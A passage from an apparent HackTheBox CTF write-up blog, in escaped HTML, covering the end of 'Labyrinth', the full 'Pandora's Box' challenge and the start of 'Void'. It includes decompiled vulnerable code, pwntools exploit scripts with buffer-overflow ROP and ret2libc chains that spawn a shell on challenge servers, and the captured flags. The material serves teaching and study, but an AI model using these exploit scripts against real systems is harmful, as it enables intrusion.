&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">exe&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ELF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;./labyrinth&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">context&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">binary&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">exe&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;167.71.143.44&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">31869&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># p = process(&amp;#39;./labyrinth&amp;#39;)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;&amp;gt;&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;69&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;&amp;gt;&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ret&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x0000000000401016&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;A&amp;#39;&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">56&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ret&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">exe&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sym&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;escape_plan&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">payload&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">interactive&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Flag is: &lt;strong>HTB{3sc4p3_fr0m_4b0v3}&lt;/strong>&lt;/p>
&lt;h2 id="pandoras-box">Pandora&amp;rsquo;s Box&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/drive/folders/1tkjLHsRXx8WdNrzWexbeDfcS3kFkCc-U?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> You stumbled upon one of Pandora’s mythical boxes. Would you be curious enough to open it and see what’s inside, or would you opt to give it to your team for analysis?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Binary Exploitation/Pwnable&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>The challenge greeted us with a binary following a libc.so.6 and a ld-linux-x86-64.so.2.&lt;/p>
&lt;p>Decompile the binary using &lt;a href="https://hex-rays.com/ida-pro/" target="_blank" rel="noopener">IDA Pro&lt;/a>, we easily found the vulnerability lied within the &lt;code>box()&lt;/code> fucntion.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="n">size_t&lt;/span> &lt;span class="nf">box&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">s&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="c1">// [rsp+0h] [rbp-30h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kr">__int64&lt;/span> &lt;span class="n">v2&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [rsp+8h] [rbp-28h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kr">__int64&lt;/span> &lt;span class="n">v3&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [rsp+10h] [rbp-20h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kr">__int64&lt;/span> &lt;span class="n">v4&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [rsp+18h] [rbp-18h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">unsigned&lt;/span> &lt;span class="kr">__int64&lt;/span> &lt;span class="n">num&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [rsp+28h] [rbp-8h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_QWORD&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0LL&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0LL&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v3&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0LL&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v4&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0LL&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fwrite&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;This is one of Pandora&amp;#39;s mythical boxes!&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;Will you open it or Return it to the Library for analysis?&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;1. Open.&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;2. Return.&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&amp;gt;&amp;gt; &amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">1uLL&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mh">0x7EuLL&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_bss_start&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">num&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">read_num&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="n">num&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fprintf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_bss_start&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;%s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">WHAT HAVE YOU DONE?! WE ARE DOOMED!&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\x1B&lt;/span>&lt;span class="s">[1;31m&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1312&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fwrite&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">Insert location of the library: &amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1uLL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x21uLL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_bss_start&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fgets&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">256&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">stdin&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">fwrite&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">We will deliver the mythical box to the Library for analysis, thank you!&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">1uLL&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mi">75uLL&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_bss_start&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>A classic buffer overflow exploitation. Howerver, this time there was no win function to print out the flag so we had to get a shell using ret2libc technique. The binary has no Canary nor PIE enable so we didn&amp;rsquo;t need to leak anything other than the libc address.&lt;/p>
&lt;p>Using gdb we knew that the offset from our input buffer to the return address of &lt;code>box()&lt;/code> is 56 bytes long.&lt;/p>
&lt;p>Our 1st ROP chain would be to leak the address of the &lt;code>puts()&lt;/code> function from the GOT table using the &lt;code>puts()&lt;/code> function itself.&lt;/p>
&lt;p>The 2nd ROP chain was used to call the &lt;code>system()&lt;/code> function from the libc with the argument string being &amp;ldquo;/bin/sh&amp;rdquo;. I didn&amp;rsquo;t use &lt;a href="https://github.com/david942j/one_gadget" target="_blank" rel="noopener">one_gadget&lt;/a> since none of the provided gadgets worked.&lt;/p>
&lt;p>The other gadgets such as &lt;em>pop rdi ; ret&lt;/em> you can get them using &lt;a href="https://github.com/JonathanSalwan/ROPgadget" target="_blank" rel="noopener">ROPgadget&lt;/a> or &lt;a href="https://github.com/sashs/Ropper" target="_blank" rel="noopener">Ropper&lt;/a>&lt;/p>
&lt;p>Here&amp;rsquo;s the exploit script.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">exe&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ELF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;./pb&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">libc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ELF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;./libc.so.6&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;68.183.37.122&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30673&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#io = exe.process()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#gdb.attach(io, api=True)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Gadgets:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">pad&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;i&amp;#39;&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">56&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">pop_rdi&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x000000000040142b&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">binsh&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x1d8698&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ret&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x00000000004013a5&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 1st chain leak libc&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s1">&amp;gt;&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;2&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;library: &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pad&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pop_rdi&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">exe&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">got&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;puts&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">exe&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">plt&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;puts&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">exe&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sym&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;main&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">payload&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;thank you!&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">leak_puts&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">u64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">keepends&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">False&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">ljust&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x00&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">libc&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">address&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">leak_puts&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">libc&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sym&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;puts&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 2nd chain get shell&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s1">&amp;gt;&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;2&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;library: &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">libc&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sym&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;system&amp;#39;&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pad&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ret&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pop_rdi&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">libc&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">address&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">binsh&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">libc&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sym&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;system&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">payload&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">interactive&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;img src="pandora.png" alt="Never gonna give you up" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{r3turn_2_P4nd0r4?!}&lt;/strong>&lt;/p>
&lt;h2 id="void">Void&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://github.com/padolex/misc/blob/main/pwn_void.zip" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> The room goes dark and all you can see is a damaged terminal. Hack into it to restore the power and find your way out.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Binary Exploitation/Pwnable&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Medium&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>The program is simple, buffer overflow occurs in function &lt;code>vuln&lt;/code>, here is the pseudocode of &lt;code>vuln&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="n">ssize_t&lt;/span> &lt;span class="nf">vuln&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">64&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="c1">// [rsp+0h] [rbp-40h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">read&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xC8uLL&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I found a similar write-up for this challenge &lt;a href="https://nandynarwhals.org/cyberpeace-2022-crysys/" target="_blank" rel="noopener">here&lt;/a>. The main idea is to ultilize ROP gadgets to spawn a shell, there is an interesting gadget allows us to modify memory by adding a 32 bit value to that memory, let call this &lt;code>add_gadget&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ ROPgadget --binary void &lt;span class="p">|&lt;/span> grep &lt;span class="s2">&amp;#34;ebx&amp;#34;&lt;/span>
